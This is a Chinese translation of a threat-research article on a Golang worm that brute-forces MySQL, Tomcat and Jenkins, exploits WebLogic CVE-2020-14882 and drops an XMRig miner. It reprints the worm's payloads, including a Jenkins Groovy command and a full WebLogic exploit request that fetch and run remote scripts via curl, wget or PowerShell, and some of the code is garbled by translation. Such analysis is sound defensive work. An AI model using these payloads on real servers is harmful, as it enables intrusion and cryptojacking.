使用Golang语言开发多平台恶意软件是2020年的恶意软件趋势。2020年12月上旬,研究人员发现了一种用Golang语言编写的新蠕虫。该蠕虫试图通过网络传播以大规模运行XMRig矿工。该恶意软件针对Windows和Linux服务器。在旧版本中,该蠕虫试图利用WebLogic漏洞-CVE-2020-14882。研究人员分析发现,攻击者在C2服务器上持续更新蠕虫,表明恶意软件开发者非常活跃,可能会在未来的更新中攻击其他配置较弱的服务。技术分析攻击者使用了3个文件:·dropper脚本(bash或powershell);·Golang二进制蠕虫;·XMRig矿工。所有3个文件都位于同一C2服务器上。到目前为止,VirusTotal都没有检测到ELF蠕虫二进制文件和bash投放脚本。图1显示了VirusTotal对ELF蠕虫二进制文件的检测结果。图1:ELF蠕虫二进制文件的VirusTotal检测结果该恶意软件在Windows和Linux操作系统上的行为非常相似。下面分析Linux蠕虫的工作流程。Linux蠕虫工作流程蠕虫执行后,会检查被感染机器上是否有进程监听52013端口。端口侦听器的存在是互斥体。如果该端口的套接字已经打开,则恶意软件实例退出,否则它会为该端口打开一个网络套接字。在旧版本中,蠕虫会将XMRigminer作为Network01提取到tmp文件夹中并运行它。该矿工使用Go资源嵌入包(go-bindata)嵌入到Golang二进制文件中,恶意软件使用bindataFile解压嵌入的XMRig矿工。图2是文件中的函数:图2:xmrig_linux_amd64.go文件恶意软件会使用TCPSYN扫描网络,寻找可被暴力破解的服务,并在网络中传播。然后它会扫描具有与这些服务相关的开放端口的IP,Tomcat和Jenkins端口8080,MySQL端口3306,WebLogic端口7001。这些漏洞在srcexp代码下有一个包。图3:“exp”包文件和函数该蠕虫使用gopacket库为Go语言提供C绑定,并使用libpcap读取网络数据包。通过运行pcapc,蠕虫收集网络数据并继续暴力破解服务。图4是该蠕虫暴力破解Tomcat和MySQL服务漏洞的结果。图4:在利用蠕虫结果片段后,恶意软件传播了一个加载程序脚本:适用于Linux的ld.sh和适用于Windows的ld.ps1。加载程序负责投放和运行XMRig矿工和Golang蠕虫。图5和图6是加载程序脚本。图5:ldr.sh——用于Linux平台的dropperbash脚本图6:ldr.ps1脚本——用于Windows平台的dropperpowershell脚本利用流程以下描述了每个服务的攻击流程:MySql:端口3306暴力攻击。恶意软件使用凭据薄弱的硬编码目录,例如root:123456。成功登录后,恶意软件使用mysqlUDF运行shellcode以获得本地权限提升。该漏洞作为十六进制字符串嵌入到二进制文件中。蠕虫对不同的操作系统和架构有不同的攻击。设计的系统和架构包括UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。运行漏洞利用程序后,有效负载将使用sys_exec命令来删除并运行加载程序脚本。URLWIN和URLLINUX保存滴管脚本URL。图7和图8是各个操作系统对应的payload。图7:MySQL查询–Linuxpayload图8:MySQL查询–WindowspayloadTomcat:端口8080该恶意软件使用基本身份验证在管理面板上运行撞库。图9:向Tomcat管理面板发出的身份验证请求示例尝试成功后,恶意软件会尝试部署一个WAR文件,该文件会传送包含恶意负载的1.jsp文件。恶意软件发送Get请求并分析jsp文件%s/1.jsp?win=%s&linux=%s的参数。这些参数包含滴管脚本URL。JSP脚本然后删除并运行它的加载器。图10:1.jsp文件脚本Jenkins:8080端口与之前的漏洞利用类似,恶意软件会使用密码填充的方式暴力破解Jenkins登录,运行如下payload:cmd@/c@powershelliex(New-ObjectNet.WebClient).DownloadString('%s')!bash@-c@(curl-fsSL%s||wget-q-O–%s)|bashprintln"%s"+"%s";defs=newString(Base64.getDecoder().decode("%s"+"%s".reverse())).split("!");defc=System.getProperty("os.name").contains("indo")?s[0].split("@"):s[1].split("@");c.execute()WebLogic:Port7001在之前的版本中,恶意软件会利用最新的WebLogic远程代码执行漏洞来利用CVE-2020-14882.恶意软件向WebLogic服务发送获取请求,并将GET请求标头用作有效负载的一部分。GET/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mv??el2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=适配器。getClass().getDeclaredField(“connectionHandler”);field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();')HTTP/1.0Host:%s:%dUser-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.16;rv:82.0)Gecko/20100101Firefox/82.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection:closecmd:lslinux:((curl-fsSL%s||wget-q-O–%s)|bash&)win:startpowershelliex(New-ObjectNet.WebClient).DownloadString('%s')总结2020年,研究人员发现了许多攻击Golang的恶意软件跨不同平台,包括Windows、Linux、Mac和Android研究人员认为,这种趋势将在2021年继续。此外,PE和ELFver蠕虫的sion代码几乎相同。本文翻译自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/如有转载请注明出处。
